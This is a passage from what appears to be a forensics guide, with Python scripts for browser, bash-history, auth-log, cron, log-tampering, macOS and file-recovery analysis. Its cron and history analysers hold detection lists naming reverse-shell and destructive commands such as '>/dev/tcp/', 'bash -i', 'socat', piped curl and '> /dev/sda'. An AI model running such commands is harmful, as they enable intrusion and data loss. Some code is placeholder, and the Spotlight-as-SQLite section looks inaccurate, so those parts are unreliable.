open(i_path, 'rb') as f:\n                    data = f.read()\n                \n                # Parse header\n                if len(data) < 0x20:\n                    continue\n                \n                # Get path length\n                path_len = struct.unpack(' {download['path']}\"\n                })\n    \n    # Firefox events\n    if firefox_data:\n        for visit in firefox_data['history']:\n            if visit['visit_date']:\n                timeline.append({\n                    'timestamp': visit['visit_date'],\n                    'browser': 'Firefox',\n                    'event': 'Page Visit',\n                    'details': f\"{visit['url']} - {visit['title']}\"\n                })\n        \n        for download in firefox_data['downloads']:\n            if download['start']:\n                timeline.append({\n                    'timestamp': download['start'],\n                    'browser': 'Firefox',\n                    'event': 'Download Started',\n                    'details': f\"{download['source']} -> {download['target']}\"\n                })\n    \n    # Sort chronologically\n    timeline.sort(key=lambda x: x['timestamp'])\n    \n    return timeline\n```\n\n#### Recovering Deleted Browser History\n\nWhen browser history is deleted, the SQLite databases may still contain recoverable data:\n\n```python\ndef recover_deleted_chrome_history(history_db_path):\n    \"\"\"Attempt recovery of deleted Chrome history entries\"\"\"\n    \n    # Open the database file directly for hex analysis\n    with open(history_db_path, 'rb') as f:\n        data = f.read()\n    \n    # Look for URL patterns in unallocated space\n    import re\n    \n    # Find HTTP/HTTPS URLs\n    url_pattern = re.compile(b'https?://[^\\\\s\"\\']+')\n    urls = url_pattern.findall(data)\n    \n    # Find timestamps (Windows file time format)\n    timestamp_pattern = re.compile(b'.{8}')  # 8-byte timestamps\n    \n    recovered = []\n    for url in urls[:100]:  # Limit for demo\n        try:\n            url_str = url.decode('utf-8', errors='ignore')\n            recovered.append({\n                'source': 'carved',\n                'url': url_str,\n                'timestamp': 'unknown (carved)'\n            })\n        except:\n            pass\n    \n    return recovered\n```\n\n---\n\n## Chapter 7 \u2013 Linux & macOS Forensics\n\n---\n\n### 7.1 Linux Forensics Overview\n\nLinux systems present unique forensic challenges and opportunities due to their open-source nature and extensive logging capabilities.\n\n#### Key Linux Artifacts\n\n| Artifact | Location | Forensic Value |\n|----------|----------|----------------|\n| Bash history | ~/.bash_history | Commands executed |\n| Authentication logs | /var/log/auth.log | Logins, sudo usage |\n| System logs | /var/log/syslog | System events |\n| Package manager logs | /var/log/dpkg.log, /var/log/yum.log | Software installation |\n| Cron jobs | /var/spool/cron/, /etc/crontab | Scheduled tasks |\n| User accounts | /etc/passwd, /etc/shadow | User enumeration |\n| Last logins | /var/log/wtmp, /var/log/btmp | Login history |\n| Process accounting | /var/log/account/ | Process execution |\n| Audit logs | /var/log/audit/ | Security events |\n| Systemd journals | /var/log/journal/ | Comprehensive logging |\n\n---\n\n### 7.2 Bash History Recovery\n\nBash history records commands entered by users, providing a timeline of activities.\n\n#### Bash History Files\n\n**Primary locations:**\n- `~/.bash_history` (user-specific)\n- `~/.zsh_history` (Zsh)\n- `~/.history` (some shells)\n- `~/.sh_history` (Korn shell)\n\n**History Configuration:**\n```bash\n# History settings in ~/.bashrc\nexport HISTSIZE=1000          # Number of commands to keep in memory\nexport HISTFILESIZE=2000       # Number of commands in history file\nexport HISTTIMEFORMAT=\"%F %T \" # Add timestamps to history\nexport HISTCONTROL=ignoredups  # Don't save duplicate commands\nexport HISTIGNORE=\"ls:ps:history\" # Commands to ignore\n```\n\n#### Timestamped History\n\nIf `HISTTIMEFORMAT` is set, history includes timestamps:\n\n```bash\n# Example .bash_history with timestamps\n#1678951234\ncd /etc\n#1678951245\nls -la\n#1678951300\nnano /etc/passwd\n```\n\nFormat: `#` followed by the command\n\n#### Recovering Deleted Bash History\n\nEven when users delete their history, recovery is often possible:\n\n```python\ndef recover_bash_history(disk_image_path, username):\n    \"\"\"Recover bash history from unallocated space\"\"\"\n    \n    import re\n    import datetime\n    \n    with open(disk_image_path, 'rb') as f:\n        data = f.read()\n    \n    # Look for bash history entries\n    # Pattern: common Linux commands\n    commands = [\n        b'cd ', b'ls ', b'cat ', b'grep ', b'ssh ',\n        b'scp ', b'wget ', b'curl ', b'nano ', b'vim ',\n        b'rm ', b'mv ', b'cp ', b'mkdir ', b'touch ',\n        b'sudo ', b'apt ', b'yum ', b'dnf ', b'tar '\n    ]\n    \n    found = []\n    for cmd in commands:\n        for match in re.finditer(cmd, data):\n            # Get context around match\n            start = max(0, match.start() - 50)\n            end = min(len(data), match.end() + 100)\n            context = data[start:end]\n            \n            # Try to extract full command line\n            # (ends with newline or null)\n            cmd_line = b''\n            in_cmd = False\n            for byte in context:\n                if byte in (10, 0):  # newline or null\n                    if in_cmd:\n                        break\n                else:\n                    in_cmd = True\n                    cmd_line += bytes([byte])\n            \n            try:\n                cmd_str = cmd_line.decode('ascii', errors='ignore').strip()\n                if cmd_str and len(cmd_str) > 3:\n                    found.append({\n                        'offset': match.start(),\n                        'command': cmd_str,\n                        'context': context[:100].hex()[:20] + '...'\n                    })\n            except:\n                pass\n    \n    return found\n```\n\n#### Bash History Analysis Script\n\n```python\ndef analyze_bash_history(history_path):\n    \"\"\"Analyze bash history for suspicious commands\"\"\"\n    \n    if not os.path.exists(history_path):\n        return []\n    \n    suspicious_patterns = [\n        'rm -rf', 'dd if=', 'chmod 777', 'sudo su',\n        'wget.*\\\\|', 'curl.*\\\\|', 'nc -l', 'ncat',\n        'chattr', '> /dev/sda', 'mkfs', 'shred',\n        'ssh.*@', 'scp.*@', 'rsync.*@', 'ftp.*@',\n        'python -c', 'perl -e', 'php -r',\n        'base64 -d', 'openssl enc', 'gpg',\n        'crontab', 'at now', 'nohup'\n    ]\n    \n    with open(history_path, 'r', errors='ignore') as f:\n        lines = f.readlines()\n    \n    suspicious = []\n    timestamp = None\n    \n    for line in lines:\n        line = line.strip()\n        \n        # Check for timestamp\n        if line.startswith('#'):\n            try:\n                epoch = int(line[1:])\n                timestamp = datetime.fromtimestamp(epoch)\n            except:\n                pass\n            continue\n        \n        # Check for suspicious commands\n        for pattern in suspicious_patterns:\n            if pattern in line:\n                suspicious.append({\n                    'command': line,\n                    'timestamp': timestamp,\n                    'pattern': pattern,\n                    'line_number': lines.index(line)\n                })\n                break\n    \n    return suspicious\n\n# Usage\nsuspicious = analyze_bash_history('/evidence/home/user/.bash_history')\nfor cmd in suspicious:\n    print(f\"[{cmd['timestamp']}] {cmd['command']} (matches: {cmd['pattern']})\")\n```\n\n---\n\n### 7.3 Linux Authentication Forensics\n\nLinux maintains detailed authentication logs essential for intrusion detection.\n\n#### Authentication Logs\n\n**Primary Files:**\n- `/var/log/auth.log` (Debian/Ubuntu)\n- `/var/log/secure` (RHEL/CentOS)\n- `/var/log/messages` (some distros)\n\n**Key Events to Monitor:**\n\n```python\ndef parse_auth_log(log_path):\n    \"\"\"Parse Linux authentication logs\"\"\"\n    \n    import re\n    from datetime import datetime\n    \n    events = []\n    \n    # Regular expressions for different events\n    patterns = {\n        'ssh_login': re.compile(r'sshd.*Accepted password for (\\w+) from (\\d+\\.\\d+\\.\\d+\\.\\d+)'),\n        'ssh_failed': re.compile(r'sshd.*Failed password for (\\w+) from (\\d+\\.\\d+\\.\\d+\\.\\d+)'),\n        'sudo': re.compile(r'sudo: (\\w+) : .*COMMAND=(.*)'),\n        'useradd': re.compile(r'useradd.*new user: name=(\\w+),'),\n        'userdel': re.compile(r'userdel.*delete user (\\w+)'),\n        'groupadd': re.compile(r'groupadd.*new group: name=(\\w+),'),\n        'login': re.compile(r'login:.*LOGIN ON (.*) BY (\\w+)'),\n        'su': re.compile(r'su:.*session opened for user (\\w+) by (\\w+)'),\n        'cron': re.compile(r'CRON.*\\((\\w+)\\) CMD \\((.*)\\)'),\n    }\n    \n    with open(log_path, 'r', errors='ignore') as f:\n        for line in f:\n            # Parse timestamp (format varies)\n            try:\n                # Common format: \"Jun 15 10:23:45\"\n                parts = line.split()\n                if len(parts) > 3:\n                    month = parts[0]\n                    day = parts[1]\n                    time = parts[2]\n                    # Create timestamp (assumes current year)\n                    timestamp = datetime.strptime(\n                        f\"{datetime.now().year} {month} {day} {time}\",\n                        \"%Y %b %d %H:%M:%S\"\n                    )\n                else:\n                    timestamp = None\n            except:\n                timestamp = None\n            \n            # Check each pattern\n            for event_type, pattern in patterns.items():\n                match = pattern.search(line)\n                if match:\n                    event = {\n                        'timestamp': timestamp,\n                        'type': event_type,\n                        'line': line.strip()\n                    }\n                    \n                    # Add specific fields based on event type\n                    if event_type == 'ssh_login':\n                        event['user'] = match.group(1)\n                        event['ip'] = match.group(2)\n                    elif event_type == 'ssh_failed':\n                        event['user'] = match.group(1)\n                        event['ip'] = match.group(2)\n                    elif event_type == 'sudo':\n                        event['user'] = match.group(1)\n                        event['command'] = match.group(2)\n                    elif event_type == 'useradd':\n                        event['user'] = match.group(1)\n                    \n                    events.append(event)\n                    break\n    \n    return events\n\n# Parse auth log\nauth_events = parse_auth_log('/evidence/var/log/auth.log')\n\n# Create timeline\nauth_events.sort(key=lambda x: x['timestamp'] or datetime.min)\n\n# Analyze suspicious activity\nfailed_attempts = [e for e in auth_events if e['type'] == 'ssh_failed']\nif len(failed_attempts) > 10:\n    print(f\"Possible brute force attack: {len(failed_attempts)} failed attempts\")\n    \n    # Group by IP\n    from collections import Counter\n    ips = Counter([e['ip'] for e in failed_attempts if 'ip' in e])\n    for ip, count in ips.most_common(5):\n        print(f\"  {ip}: {count} attempts\")\n```\n\n#### User Account Forensics\n\n```python\ndef analyze_user_accounts(passwd_path, shadow_path):\n    \"\"\"Analyze user accounts from /etc/passwd and /etc/shadow\"\"\"\n    \n    users = []\n    \n    # Parse passwd\n    with open(passwd_path, 'r') as f:\n        for line in f:\n            parts = line.strip().split(':')\n            if len(parts) >= 7:\n                users.append({\n                    'username': parts[0],\n                    'uid': int(parts[2]),\n                    'gid': int(parts[3]),\n                    'home': parts[5],\n                    'shell': parts[6],\n                    'source': 'passwd'\n                })\n    \n    # Parse shadow for password info\n    if os.path.exists(shadow_path):\n        with open(shadow_path, 'r') as f:\n            for line in f:\n                parts = line.strip().split(':')\n                if len(parts) >= 8:\n                    username = parts[0]\n                    password = parts[1]\n                    \n                    # Find corresponding user\n                    for user in users:\n                        if user['username'] == username:\n                            user['password_hash'] = password\n                            user['last_change'] = parts[2]\n                            user['min_age'] = parts[3]\n                            user['max_age'] = parts[4]\n                            user['warning'] = parts[5]\n                            user['inactive'] = parts[6]\n                            user['expire'] = parts[7]\n                            \n                            # Check if password is locked/disabled\n                            if password.startswith('!') or password.startswith('*'):\n                                user['account_status'] = 'locked'\n                            elif password == '':\n                                user['account_status'] = 'no_password'\n                            else:\n                                user['account_status'] = 'has_password'\n                            break\n    \n    return users\n\nusers = analyze_user_accounts(\n    '/evidence/etc/passwd',\n    '/evidence/etc/shadow'\n)\n\n# Check for suspicious accounts\nfor user in users:\n    # Non-standard shells\n    if user['shell'] not in ['/bin/bash', '/bin/sh', '/bin/zsh']:\n        print(f\"Suspicious shell: {user['username']} uses {user['shell']}\")\n    \n    # Accounts with UID 0 (root) besides root\n    if user['uid'] == 0 and user['username'] != 'root':\n        print(f\"Privileged account: {user['username']} has UID 0\")\n    \n    # Accounts without passwords\n    if user.get('account_status') == 'no_password':\n        print(f\"No password: {user['username']}\")\n```\n\n---\n\n### 7.4 Cron Persistence Detection\n\nCron jobs are commonly used for persistence by both system administrators and attackers.\n\n#### Cron Locations\n\n```bash\n# System crontab\n/etc/crontab\n\n# System cron directories\n/etc/cron.d/\n/etc/cron.daily/\n/etc/cron.hourly/\n/etc/cron.weekly/\n/etc/cron.monthly/\n\n# User crontabs\n/var/spool/cron/crontabs/ (user-specific)\n/var/spool/cron/ (some distros)\n```\n\n#### Cron Analysis Script\n\n```python\ndef analyze_cron_jobs(root_path):\n    \"\"\"Analyze all cron jobs for suspicious entries\"\"\"\n    \n    suspicious = []\n    \n    # Locations to check\n    cron_locations = [\n        os.path.join(root_path, 'etc/crontab'),\n        os.path.join(root_path, 'etc/cron.d'),\n        os.path.join(root_path, 'var/spool/cron'),\n        os.path.join(root_path, 'var/spool/cron/crontabs'),\n    ]\n    \n    suspicious_patterns = [\n        'wget', 'curl', 'nc ', 'ncat', 'bash -i',\n        'base64 -d', 'chmod 777', '>/dev/tcp/',\n        'mkfifo', 'mknod', 'socat', 'perl -e',\n        'python -c', 'php -r', 'ruby -e',\n        'openssl enc -d', 'gpg -d'\n    ]\n    \n    for location in cron_locations:\n        if os.path.isfile(location):\n            # Single file\n            analyze_cron_file(location, suspicious, suspicious_patterns)\n        elif os.path.isdir(location):\n            # Directory of cron files\n            for root, dirs, files in os.walk(location):\n                for file in files:\n                    file_path = os.path.join(root, file)\n                    analyze_cron_file(file_path, suspicious, suspicious_patterns)\n    \n    return suspicious\n\ndef analyze_cron_file(file_path, suspicious, patterns):\n    \"\"\"Analyze individual cron file\"\"\"\n    \n    try:\n        with open(file_path, 'r') as f:\n            lines = f.readlines()\n        \n        for line_num, line in enumerate(lines, 1):\n            line = line.strip()\n            \n            # Skip comments and empty lines\n            if not line or line.startswith('#'):\n                continue\n            \n            # Check each pattern\n            for pattern in patterns:\n                if pattern in line:\n                    suspicious.append({\n                        'file': file_path,\n                        'line': line_num,\n                        'content': line,\n                        'pattern': pattern\n                    })\n                    break\n            \n            # Check for unusual scheduling\n            parts = line.split()\n            if len(parts) > 5:\n                # Common scheduling intervals\n                if parts[0] == '*':\n                    # Running every minute - suspicious for persistence\n                    suspicious.append({\n                        'file': file_path,\n                        'line': line_num,\n                        'content': line,\n                        'pattern': 'every_minute'\n                    })\n    except Exception as e:\n        print(f\"Error reading {file_path}: {e}\")\n\n# Run analysis\nsuspicious_crons = analyze_cron_jobs('/evidence')\nfor cron in suspicious_crons:\n    print(f\"\\nSuspicious cron: {cron['file']}:{cron['line']}\")\n    print(f\"  {cron['content']}\")\n    print(f\"  Reason: {cron['pattern']}\")\n```\n\n---\n\n### 7.5 Linux Log Tampering Detection\n\nAttackers often attempt to cover their tracks by modifying logs.\n\n#### Log Integrity Checks\n\n```python\ndef detect_log_tampering(log_path):\n    \"\"\"Detect signs of log tampering\"\"\"\n    \n    indicators = []\n    \n    if not os.path.exists(log_path):\n        return indicators\n    \n    # Check file metadata\n    stat = os.stat(log_path)\n    \n    # 1. Check for gaps in timestamps\n    timestamps = []\n    with open(log_path, 'r', errors='ignore') as f:\n        for line in f:\n            # Try to extract timestamp (simplified)\n            if len(line) > 15:\n                try:\n                    # Common syslog format\n                    ts_str = line[0:15]\n                    # Would parse actual timestamp here\n                    timestamps.append(line[0:15])\n                except:\n                    pass\n    \n    # Check for unusual patterns\n    if len(timestamps) > 0:\n        # Look for gaps (would need proper timestamp parsing)\n        pass\n    \n    # 2. Check for log rotation anomalies\n    log_dir = os.path.dirname(log_path)\n    log_base = os.path.basename(log_path)\n    \n    rotated = [f for f in os.listdir(log_dir) if f.startswith(log_base + '.')]\n    if rotated:\n        # Check if rotated logs are missing or have wrong permissions\n        pass\n    \n    # 3. Check for null bytes (often used to hide entries)\n    with open(log_path, 'rb') as f:\n        data = f.read()\n        if b'\\x00' in data:\n            indicators.append({\n                'type': 'null_bytes',\n                'description': 'Null bytes found in log file',\n                'severity': 'high'\n            })\n    \n    # 4. Check for unusual characters\n    unusual_chars = re.findall(rb'[^\\x20-\\x7e\\r\\n\\t]', data)\n    if len(unusual_chars) > len(data) * 0.01:  # >1% unusual\n        indicators.append({\n            'type': 'unusual_chars',\n            'description': f'{len(unusual_chars)} unusual characters found',\n            'severity': 'medium'\n        })\n    \n    # 5. Check file permissions\n    if stat.st_mode & 0o777 != 0o644:  # Not standard permissions\n        indicators.append({\n            'type': 'bad_permissions',\n            'description': f'Unusual permissions: {oct(stat.st_mode & 0o777)}',\n            'severity': 'low'\n        })\n    \n    # 6. Check if file was recently modified (after intrusion date)\n    # (would compare to known timeline)\n    \n    return indicators\n\n# Check all logs for tampering\nlog_files = [\n    '/evidence/var/log/auth.log',\n    '/evidence/var/log/syslog',\n    '/evidence/var/log/kern.log',\n    '/evidence/var/log/secure',\n]\n\nfor log in log_files:\n    if os.path.exists(log):\n        indicators = detect_log_tampering(log)\n        if indicators:\n            print(f\"\\nTampering indicators in {log}:\")\n            for i in indicators:\n                print(f\"  [{i['severity']}] {i['description']}\")\n```\n\n#### Recovering Deleted Log Entries\n\n```python\ndef recover_deleted_log_entries(disk_image_path, log_patterns):\n    \"\"\"Carve log entries from unallocated space\"\"\"\n    \n    with open(disk_image_path, 'rb') as f:\n        data = f.read()\n    \n    recovered = []\n    \n    # Common syslog patterns\n    for pattern in log_patterns:\n        # Find all occurrences\n        for match in re.finditer(pattern.encode(), data):\n            # Get surrounding context\n            start = max(0, match.start() - 100)\n            end = min(len(data), match.end() + 200)\n            context = data[start:end]\n            \n            # Try to extract full log line\n            # Find line boundaries\n            line_start = context.rfind(b'\\n', 0, 100) + 1\n            line_end = context.find(b'\\n', 200)\n            \n            if line_end > line_start:\n                line = context[line_start:line_end]\n                try:\n                    line_str = line.decode('utf-8', errors='ignore')\n                    recovered.append({\n                        'offset': start + line_start,\n                        'content': line_str,\n                        'pattern': pattern\n                    })\n                except:\n                    pass\n    \n    return recovered\n\n# Recover SSH authentication entries\nrecovered = recover_deleted_log_entries(\n    'evidence.dd',\n    ['sshd.*Accepted', 'sshd.*Failed', 'sudo:']\n)\n\nfor entry in recovered[:20]:  # Show first 20\n    print(f\"Recovered: {entry['content']}\")\n```\n\n---\n\n### 7.6 macOS Forensics Deep Dive\n\nmacOS presents unique artifacts due to its Unix foundation with Apple-specific additions.\n\n#### macOS File System Layout\n\n```\n/System/           # System files (read-only)\n/Library/          # System-wide application support\n/Users/            # User home directories\n/Applications/     # Installed applications\n/private/          # Unix-style system files\n  /var/            # Logs, spool files\n  /etc/            # Configuration (symlink to /private/etc)\n  /tmp/            # Temporary files\n/Volumes/          # Mounted volumes\n/.fseventsd/       # File system events logs\n/.Spotlight-V100/  # Spotlight indexes\n```\n\n#### Key macOS Artifacts\n\n| Artifact | Location | Forensic Value |\n|----------|----------|----------------|\n| Unified Logs | /private/var/log/ | Comprehensive system logs |\n| System Logs | /var/log/system.log | Traditional syslog |\n| Install History | /Library/Receipts/ | Installed software |\n| User Data | /Users/[user]/ | User-specific artifacts |\n| Keychains | ~/Library/Keychains/ | Saved passwords |\n| Safari Data | ~/Library/Safari/ | Browser history |\n| Mail Data | ~/Library/Mail/ | Email artifacts |\n| iCloud Data | ~/Library/Mobile Documents/ | Cloud-synced files |\n| Time Machine | /Volumes/Backup/ | Backups |\n| Sleep Images | /private/var/vm/ | Memory sleep images |\n\n---\n\n### 7.7 macOS Unified Logs\n\nStarting with macOS 10.12 (Sierra), Apple introduced a unified logging system.\n\n#### Accessing Unified Logs\n\n```bash\n# Collect logs for a specific time period\nlog collect --last 1d --output system_logs.logarchive\n\n# Show logs for a specific process\nlog show --predicate 'process == \"kernel\"'\n\n# Export to text\nlog show --archive system_logs.logarchive > logs.txt\n\n# Stream live logs\nlog stream --predicate 'eventMessage contains \"error\"'\n```\n\n#### Parsing Unified Logs with Python\n\n```python\nimport subprocess\nimport plistlib\nfrom datetime import datetime\n\ndef parse_unified_logs(logarchive_path):\n    \"\"\"Extract and parse macOS unified logs\"\"\"\n    \n    # Use log command to export\n    cmd = ['log', 'show', '--archive', logarchive_path, '--style', 'json']\n    result = subprocess.run(cmd, capture_output=True, text=True)\n    \n    logs = []\n    for line in result.stdout.split('\\n'):\n        if line.strip():\n            try:\n                import json\n                entry = json.loads(line)\n                \n                log_entry = {\n                    'timestamp': datetime.fromisoformat(entry.get('timestamp', '')),\n                    'process': entry.get('process', ''),\n                    'sender': entry.get('sender', ''),\n                    'message': entry.get('eventMessage', ''),\n                    'level': entry.get('level', ''),\n                    'pid': entry.get('pid'),\n                    'activity': entry.get('activity'),\n                }\n                logs.append(log_entry)\n            except:\n                continue\n    \n    return logs\n\n# Analyze logs for suspicious activity\ndef analyze_macos_logs(logarchive_path):\n    \"\"\"Analyze macOS logs for security events\"\"\"\n    \n    logs = parse_unified_logs(logarchive_path)\n    \n    security_events = []\n    \n    for log in logs:\n        message = log['message'].lower()\n        \n        # SSH connections\n        if 'ssh' in message and 'accepted' in message:\n            security_events.append({\n                'type': 'ssh_login',\n                'timestamp': log['timestamp'],\n                'details': log['message']\n            })\n        \n        # Sudo usage\n        if 'sudo' in message and 'command' in message:\n            security_events.append({\n                'type': 'sudo_usage',\n                'timestamp': log['timestamp'],\n                'details': log['message']\n            })\n        \n        # Gatekeeper/Quarantine\n        if 'gatekeeper' in message or 'quarantine' in message:\n            security_events.append({\n                'type': 'gatekeeper',\n                'timestamp': log['timestamp'],\n                'details': log['message']\n            })\n        \n        # Application launches\n        if 'launch' in message and 'application' in message:\n            if 'malware' in message or 'unidentified' in message:\n                security_events.append({\n                    'type': 'suspicious_launch',\n                    'timestamp': log['timestamp'],\n                    'details': log['message']\n                })\n    \n    return security_events\n\n# Run analysis\nevents = analyze_macos_logs('system_logs.logarchive')\nfor event in events:\n    print(f\"[{event['timestamp']}] {event['type']}: {event['details']}\")\n```\n\n---\n\n### 7.8 macOS Spotlight Artifacts\n\nSpotlight maintains extensive indexes of user files.\n\n#### Spotlight Database Analysis\n\n```python\nimport sqlite3\nimport os\n\ndef analyze_spotlight(spotlight_path):\n    \"\"\"Extract forensic data from Spotlight index\"\"\"\n    \n    # Spotlight index is a SQLite database\n    index_db = os.path.join(spotlight_path, 'store.db')\n    \n    if not os.path.exists(index_db):\n        return None\n    \n    conn = sqlite3.connect(index_db)\n    cursor = conn.cursor()\n    \n    # Get table list\n    cursor.execute(\"SELECT name FROM sqlite_master WHERE type='table'\")\n    tables = cursor.fetchall()\n    \n    spotlight_data = {}\n    \n    # Common Spotlight tables\n    tables_of_interest = [\n        'files',           # File paths and metadata\n        'metadata',        # Extended attributes\n        'content',         # File content snippets\n        'search_history',  # User search terms\n        'bundle_data',     # Application bundles\n        'volume_info',     # Volume information\n    ]\n    \n    for table in tables_of_interest:\n        try:\n            cursor.execute(f\"SELECT * FROM {table} LIMIT 100\")\n            rows = cursor.fetchall()\n            \n            # Get column names\n            cursor.execute(f\"PRAGMA table_info({table})\")\n            columns = [col[1] for col in cursor.fetchall()]\n            \n            table_data = []\n            for row in rows:\n                row_dict = {}\n                for i, col in enumerate(columns):\n                    row_dict[col] = row[i]\n                table_data.append(row_dict)\n            \n            spotlight_data[table] = table_data\n            \n        except sqlite3.OperationalError:\n            # Table doesn't exist\n            pass\n    \n    conn.close()\n    return spotlight_data\n\n# Extract Spotlight data\nspotlight = analyze_spotlight('/evidence/.Spotlight-V100/Store-V1/')\n\n# Look for files matching keywords\nif 'files' in spotlight:\n    suspicious_files = []\n    keywords = ['password', 'secret', 'confidential', 'private', 'backup']\n    \n    for file in spotlight['files']:\n        path = file.get('path', '')\n        if any(keyword in path.lower() for keyword in keywords):\n            suspicious_files.append({\n                'path': path,\n                'inode': file.get('inode'),\n                'flags': file.get('flags')\n            })\n    \n    print(f\"Found {len(suspicious_files)} files with sensitive keywords\")\n    for f in suspicious_files[:10]:\n        print(f\"  {f['path']}\")\n\n# Check search history\nif 'search_history' in spotlight:\n    print(\"\\nUser search history:\")\n    for search in spotlight['search_history']:\n        print(f\"  {search.get('search_string')} - {search.get('timestamp')}\")\n```\n\n#### Recovering Deleted Spotlight Entries\n\n```python\ndef recover_deleted_spotlight_entries(spotlight_path):\n    \"\"\"Recover deleted entries from Spotlight journal\"\"\"\n    \n    journal_path = os.path.join(spotlight_path, 'journal')\n    \n    if not os.path.exists(journal_path):\n        return []\n    \n    with open(journal_path, 'rb') as f:\n        data = f.read()\n    \n    # Look for file paths in journal\n    # File paths are stored as UTF-8 strings\n    import re\n    \n    # Find possible file paths\n    path_pattern = re.compile(b'/[\\\\w/.-]+\\\\.[a-zA-Z]{3,4}')\n    paths = path_pattern.findall(data)\n    \n    # Find possible search terms\n    search_pattern = re.compile(b'[\\\\w\\\\s]{5,50}')\n    \n    recovered = []\n    \n    for path in paths[:50]:  # Limit\n        try:\n            path_str = path.decode('utf-8', errors='ignore')\n            recovered.append({\n                'type': 'file_path',\n                'content': path_str,\n                'offset': data.find(path)\n            })\n        except:\n            pass\n    \n    return recovered\n\nrecovered = recover_deleted_spotlight_entries('/evidence/.Spotlight-V100/Store-V1/')\nprint(f\"Recovered {len(recovered)} deleted entries\")\n```\n\n---\n\n### 7.9 Time Machine Backups Analysis\n\nTime Machine creates incremental backups that can be forensic goldmines.\n\n#### Time Machine Structure\n\n```python\ndef analyze_time_machine(backup_path):\n    \"\"\"Analyze Time Machine backup structure\"\"\"\n    \n    # Time Machine stores backups in:\n    # /Volumes/Backup/Backups.backupdb/MacName/YYYY-MM-DD-HHMMSS/\n    \n    backup_info = {\n        'backups': [],\n        'total_size': 0,\n        'earliest': None,\n        'latest': None\n    }\n    \n    for root, dirs, files in os.walk(backup_path):\n        # Check if this is a backup folder\n        if 'Macintosh HD' in dirs:\n            backup_date = os.path.basename(root)\n            \n            # Parse date from folder name\n            try:\n                date = datetime.strptime(backup_date, '%Y-%m-%d-%H%M%S')\n            except:\n                date = None\n            \n            # Get size\n            size = 0\n            for r, d, f in os.walk(os.path.join(root, 'Macintosh HD')):\n                for file in f:\n                    file_path = os.path.join(r, file)\n                    try:\n                        size += os.path.getsize(file_path)\n                    except:\n                        pass\n            \n            backup = {\n                'date': date,\n                'path': root,\n                'size': size,\n                'files_count': 0  # Could count files\n            }\n            \n            backup_info['backups'].append(backup)\n            backup_info['total_size'] += size\n    \n    # Sort by date\n    backup_info['backups'].sort(key=lambda x: x['date'] or datetime.min)\n    \n    if backup_info['backups']:\n        backup_info['earliest'] = backup_info['backups'][0]['date']\n        backup_info['latest'] = backup_info['backups'][-1]['date']\n    \n    return backup_info\n\n# Analyze backup\ntm_info = analyze_time_machine('/evidence/Backups.backupdb/')\n\nprint(f\"Time Machine Analysis:\")\nprint(f\"  Total backups: {len(tm_info['backups'])}\")\nprint(f\"  Total size: {tm_info['total_size'] / (1024**3):.2f} GB\")\nprint(f\"  Earliest: {tm_info['earliest']}\")\nprint(f\"  Latest: {tm_info['latest']}\")\nprint(f\"\\nBackup timeline:\")\nfor backup in tm_info['backups']:\n    print(f\"  {backup['date']}: {backup['size'] / (1024**3):.2f} GB\")\n```\n\n#### Extracting Specific Files from Backups\n\n```python\ndef find_files_in_time_machine(backup_path, filename_pattern):\n    \"\"\"Search for specific files across all Time Machine backups\"\"\"\n    \n    matches = []\n    \n    # Walk through all backups\n    for root, dirs, files in os.walk(backup_path):\n        # Check each file\n        for file in files:\n            if filename_pattern.lower() in file.lower():\n                # Found a match\n                full_path = os.path.join(root, file)\n                \n                # Get backup date from path\n                path_parts = full_path.split(os.sep)\n                for part in path_parts:\n                    try:\n                        date = datetime.strptime(part, '%Y-%m-%d-%H%M%S')\n                        break\n                    except:\n                        date = None\n                \n                # Get file metadata\n                stat = os.stat(full_path)\n                \n                matches.append({\n                    'filename': file,\n                    'path': full_path,\n                    'backup_date': date,\n                    'size': stat.st_size,\n                    'modified': datetime.fromtimestamp(stat.st_mtime)\n                })\n    \n    return matches\n\n# Search for specific files\nfound = find_files_in_time_machine(\n    '/evidence/Backups.backupdb/',\n    'secret.docx'\n)\n\nprint(f\"Found {len(found)} matching files:\")\nfor f in found:\n    print(f\"\\n  File: {f['filename']}\")\n    print(f\"  Backup: {f['backup_date']}\")\n    print(f\"  Path: {f['path']}\")\n    print(f\"  Size: {f['size']} bytes\")\n    print(f\"  Modified: {f['modified']}\")\n```\n\n---\n\n## Chapter 8 \u2013 Data Recovery & Carving\n\n---\n\n### 8.1 Deleted File Recovery\n\nUnderstanding how file systems handle deletion is crucial for recovery.\n\n#### File Deletion by File System\n\n**FAT32 Deletion:**\n- First byte of filename set to 0xE5\n- Directory entry remains until overwritten\n- Clusters marked as free in FAT\n- Data remains until clusters reused\n\n**NTFS Deletion:**\n- MFT entry flags changed from \"in use\" to \"not in use\"\n- File name removed from directory index\n- $BITMAP marks clusters as free\n- Data runs remain in MFT entry until overwritten\n- MFT entry itself remains until reused\n\n**ext2/3/4 Deletion:**\n- Inode marked as free\n- Directory entry removed (or inode cleared)\n- Block bitmap updated\n- Data blocks marked as free\n- Journal may retain metadata\n\n#### Recovery Strategies by Time Since Deletion\n\n| Time Since Deletion | Recovery Success | Technique |\n|--------------------|------------------|-----------|\n| Minutes | Very High | File system recovery tools |\n| Hours | High | Carving from unallocated |\n| Days | Medium | Signature-based carving |\n| Weeks | Low | Deep sector analysis |\n| Months | Very Low | Specialized techniques |\n\n#### File Recovery Tools\n\n**TestDisk/PhotoRec:**\n```bash\n# Recover all files by signature\nphotorec /dev/sdb1\n\n# Recover specific file types\nphotorec /dev/sdb1 -d recovered/ -f jpg,pdf,doc\n\n# Log recovery session\nphotorec /dev/sdb1 -d recovered/ -l recovery.log\n```\n\n**Foremost:**\n```bash\n# Basic carving\nforemost -i image.dd -o output/\n\n# Carve specific file types\nforemost -t jpg,pdf,doc -i image.dd -o output/\n\n# Use custom configuration\nforemost -c foremost.conf -i image.dd -o output/\n```\n\n**Scalpel:**\n```bash\n# Configure scalpel.conf first\nscalpel image.dd -o output/\n```\n\n**Recuva (Windows):**\n- GUI-based recovery\n- Deep scan option\n- Preview before recovery\n- Secure overwrite option\n\n#### Custom Recovery Script\n\n```python\nimport os\nimport struct\n\ndef recover_deleted_ntfs_files(image_path, partition_offset):\n    \"\"\"Recover deleted files from NTFS by parsing MFT\"\"\"\n    \n    from pytsk3 import Img_Info, FS_Info\n    \n    img = Img_Info(image_path)\n    fs = FS_Info(img, offset=partition_offset)\n    \n    # Open MFT\n    mft = fs.open_meta(file=0)\n    \n    recovered = []\n    mft_size = mft.info.meta.size\n    mft_entry_size = 1024\n    \n    for i in range(mft_size // mft_entry_size):\n        # Read MFT entry\n        entry_data = mft.read_random(i * mft_entry_size, mft_entry_size)\n        \n        # Check signature\n        if 